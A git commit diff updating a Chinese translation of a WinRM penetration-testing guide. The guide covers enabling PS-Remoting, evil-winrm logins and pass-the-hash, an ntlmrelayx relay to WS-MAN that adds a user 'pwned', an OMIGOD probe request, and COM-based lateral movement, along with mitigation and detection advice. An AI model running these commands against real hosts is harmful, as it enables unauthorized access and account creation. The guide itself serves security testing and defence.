Translated ['src/network-services-pentesting/5985-5986-pentesting-winrm.

This commit is contained in:
Translator 2025-08-13 16:15:19 +00:00
parent c7c6a7af88
commit f40959ef0a

View File

@ -15,24 +15,24 @@
### **启动 WinRM 会话**
要为 WinRM 配置 PowerShellMicrosoft 的 `Enable-PSRemoting` cmdlet 被使用,以设置计算机接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
要为 WinRM 配置 PowerShellMicrosoft 的 `Enable-PSRemoting` cmdlet 被引入,用于设置计算机以接受远程 PowerShell 命令。通过提升的 PowerShell 访问权限,可以执行以下命令以启用此功能并将任何主机指定为受信任:
```bash
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步需要谨慎考虑其影响。还注意到,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。
这种方法涉及在 `trustedhosts` 配置中添加通配符,这一步需要谨慎考虑其影响。还注意到,可能需要将攻击者机器上的网络类型从“公共”更改为“工作”。
此外,可以使用 `wmic` 命令**远程激活** WinRM示例如下
```bash
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
这种方法允许远程设置 WinRM从而增强了远程管理 Windows 机器的灵活性。
这种方法允许远程设置 WinRM从而增强了远程管理 Windows 机器的灵活性。
### 测试是否已配置
要验证攻击机器的设置,可以使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
为了验证攻击机器的设置,使用 `Test-WSMan` 命令检查目标是否正确配置了 WinRM。通过执行此命令您应该期望收到有关协议版本和 wsmid 的详细信息,指示配置成功。以下是演示已配置目标与未配置目标预期输出的示例:
- 对于一个 **已** 正确配置的目标,输出将类似于以下内容
- 对于一个 **已** 正确配置的目标,输出将类似于:
```bash
Test-WSMan <target-ip>
```
@ -52,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
```
![](<../images/image (151).png>)
您还可以通过 _**Invoke-Command**_ **在当前 PS 控制台中执行命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要 **在远程计算机上执行它**,您可以这样做:
您还可以通过 _**Invoke-Command**_ **执行当前 PS 控制台的命令**。假设您在本地有一个名为 _**enumeration**_ 的函数,并且您想要在远程计算机上 **执行它**,您可以这样做:
```bash
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
@ -95,7 +95,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
```
### 保存和恢复会话
**将不起作用** 如果远程计算机的 **语言****限制**。
如果远程计算机的 **语言****限制**,则此 **方法** **无效**。
```bash
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
@ -117,7 +117,7 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
尝试在客户端(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
尝试在客户端(信息来自 [here](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
@ -146,7 +146,7 @@ gem install evil-winrm
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
```
使用 evil-winrm 连接到 **IPv6 地址**,在 _**/etc/hosts**_ 中创建一个条目,将 **域名** 设置为 IPv6 地址并连接到该域名。
使用 evil-winrm 连接到 **IPv6 地址**,在 _**/etc/hosts**_ 中创建一个条目,将 **域名** 设置为 IPv6 地址并连接到该域名。
### 使用 evil-winrm 传递哈希
```ruby
@ -220,7 +220,72 @@ end
- `port:5985 Microsoft-HTTPAPI`
## References
---
## 最近的漏洞与攻击技术 (2021-2025)
### NTLM 直接中继到 WinRM (WS-MAN)
自 Impacket 0.11 (2023年5月) 起,`ntlmrelayx.py` 可以将捕获的 NTLM 凭据直接中继到 **WS-MAN**/WinRM 监听器。当主机仍在 **未加密的 HTTP (5985)** 上监听时,攻击者可以结合 *mitm6* (或 *Responder*) 来强制身份验证并获得 SYSTEM 级别的代码执行:
```bash
sudo ntlmrelayx.py -t wsman://10.0.0.25 --no-smb-server -smb2support \
--command "net user pwned P@ssw0rd! /add"
```
缓解措施
* 禁用 HTTP 监听器 `Set-Item WSMan:\localhost\Service\EnableCompatibilityHttpListener -Value false`
* 强制使用 HTTPS 并在最近的 Windows 版本上启用身份验证的扩展保护 (EPA)。
### OMIGOD CVE-2021-38647 (Azure OMI)
Azure Linux 代理使用 **Open Management Infrastructure (OMI)** 服务,该服务在端口 **5985/5986** 上暴露 WinRM/WS-MAN API。一个逻辑错误允许 **以 root 身份进行未经身份验证的 RCE**
```text
curl http://victim:5985/wsman -H 'Content-Type:text/xml' -d '<xml />'
```
修补或移除 OMI版本 ≥ 1.6.8-1并从互联网阻止这些端口。
### WSMan.Automation COM 滥用以进行横向移动
WinRM 可以通过 `WSMan.Automation` COM 对象在没有 PowerShell 的情况下驱动 在受限语言模式的系统上非常有用。诸如 *SharpWSManWinRM* 的工具封装了这一技术:
```powershell
$ws = New-Object -ComObject 'WSMan.Automation'
$session = $ws.CreateSession('http://srv01:5985/wsman',0,$null)
$cmdId = $session.Command('cmd.exe',@('/c','whoami'))
$session.Signal($cmdId,0)
```
执行链(`svchost → wmiprvse → cmd.exe`)与经典的 PS-Remoting 相同。
---
## 工具更新
* **Evil-WinRM v3.x (2024)** 现在支持 **Kerberos**`-k` / `--spn`)和 **基于证书** 的身份验证(`--cert-pem`/`--key-pem`),会话日志记录(`-L`)以及禁用远程路径补全的能力(`-N`)。
```bash
RHOST=10.0.0.25 evil-winrm -i $RHOST -u j.doe -k --spn HTTP/$RHOST
```
* **Python `pypsrp` 0.9 (2024)** 提供从 Linux 的 WinRM 和 PS-Remoting包括 CredSSP 和 Kerberos
```python
from psrp.client import Client
c = Client('srv01', username='ACME\\j.doe', ssl=True)
print(c.execute_cmd('ipconfig /all').std_out.decode())
```
* **检测** 监控 **Microsoft-Windows-WinRM/Operational** 日志:
* 事件 91 / 163 shell 创建
* 事件 182 身份验证失败
* 在安全日志中,事件 4262 记录源 IP2022 年 7 月的 CU 中添加)。
集中收集这些信息,并对匿名或外部 IP 发出警报。
---
## Shodan
- `port:5985 Microsoft-HTTPAPI`
## 参考
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)
- [https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/](https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/)
- [https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure](https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure)
- [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)